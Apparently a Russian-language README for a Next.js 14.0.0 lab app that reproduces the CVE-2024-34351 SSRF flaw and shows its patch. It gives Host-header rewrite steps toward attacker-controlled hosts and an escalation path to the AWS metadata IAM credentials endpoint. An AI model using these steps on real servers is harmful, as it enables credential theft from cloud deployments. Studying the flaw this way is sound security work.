
Минимальное демо-приложение Next.js 14.0.0 для уязвимости CVE-2024-34351 (SSRF). Включает настройку эксплойта, подтверждение interactsh, перехват Burp и шаги по эскалации AWS metadata.
Минимальное приложение Next.js 14.0.0 для демонстрации CVE-2024-34351 — уязвимости Server-Side Request Forgery (SSRF) в Server Actions Next.js.
Обнаружена Адамом Кьюзом и Шубхамом Шахом из Assetnote. Исправлена в Next.js 14.1.1.
Когда Server Action вызывает redirect('/some-path'), Next.js создает внутренний URL для fetch, используя заголовок Host из входящего запроса без проверки:
// Vulnerable code in createRedirectRenderResult (Next.js < 14.1.1)
const host = req.headers['host'] // attacker-controlled
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
await fetch(fetchUrl, { method: 'HEAD', ... }) // server makes this request
Злоумышленник, контролирующий заголовок Host, может направить этот внутренний fetch на любой адрес, доступный серверу.
npm install
npm run build # must use production build -- dev mode routes redirects differently
npm run start # app runs at http://localhost:3000
interactsh полезен для подтверждения того, что сервер Next.js отправляет исходящий запрос на хост, контролируемый атакующим.
# Install interactsh-client
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
# Start a session -- note your interaction URL, e.g. abc123.oast.fun
interactsh-client
В Burp Suite:
http://localhost:3000 и отправьте форму входа с включенной перехватом (intercept ON)Host: localhost:3000 на Host: abc123.oast.funЭто доказывает исходящую SSRF. Запрос исходит от серверного процесса, а не от браузера.
interactsh не может контролировать свой ответ, поэтому Next.js не выполнит GET. Чтобы получить полное тело ответа, используйте включенный сервер атакующего:
python3 attacker/attacker_server.py 8888
Установите заголовок Host в <your-lan-ip>:8888 и перешлите запрос. Сервер атакующего отвечает
на HEAD с Content-Type: text/x-component, что вызывает GET. Полное тело ответа
возвращается внутри ответа Next.js, видимого в Burp.
При запуске уязвимого приложения на инстансе AWS EC2 установите заголовок Host на:
Host: 169.254.169.254
Next.js выполнит запрос к сервису метаданных инстанса. Для получения учетных данных IAM:
Host: 169.254.169.254
Затем измените путь перенаправления или используйте последующий запрос для доступа к:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
Полный ответ метаданных возвращается в браузер атакующего.
// Patched -- no longer reads from the attacker-controlled request header
const host = (staticGenerationStore.incrementalCache as any)?.__nextHostnamePort
?? process.env.__NEXT_PRIVATE_ORIGIN
?? req.headers['host']
Исправление предпочитает process.env.__NEXT_PRIVATE_ORIGIN — устанавливается при запуске сервера, не поддается контролю атакующего.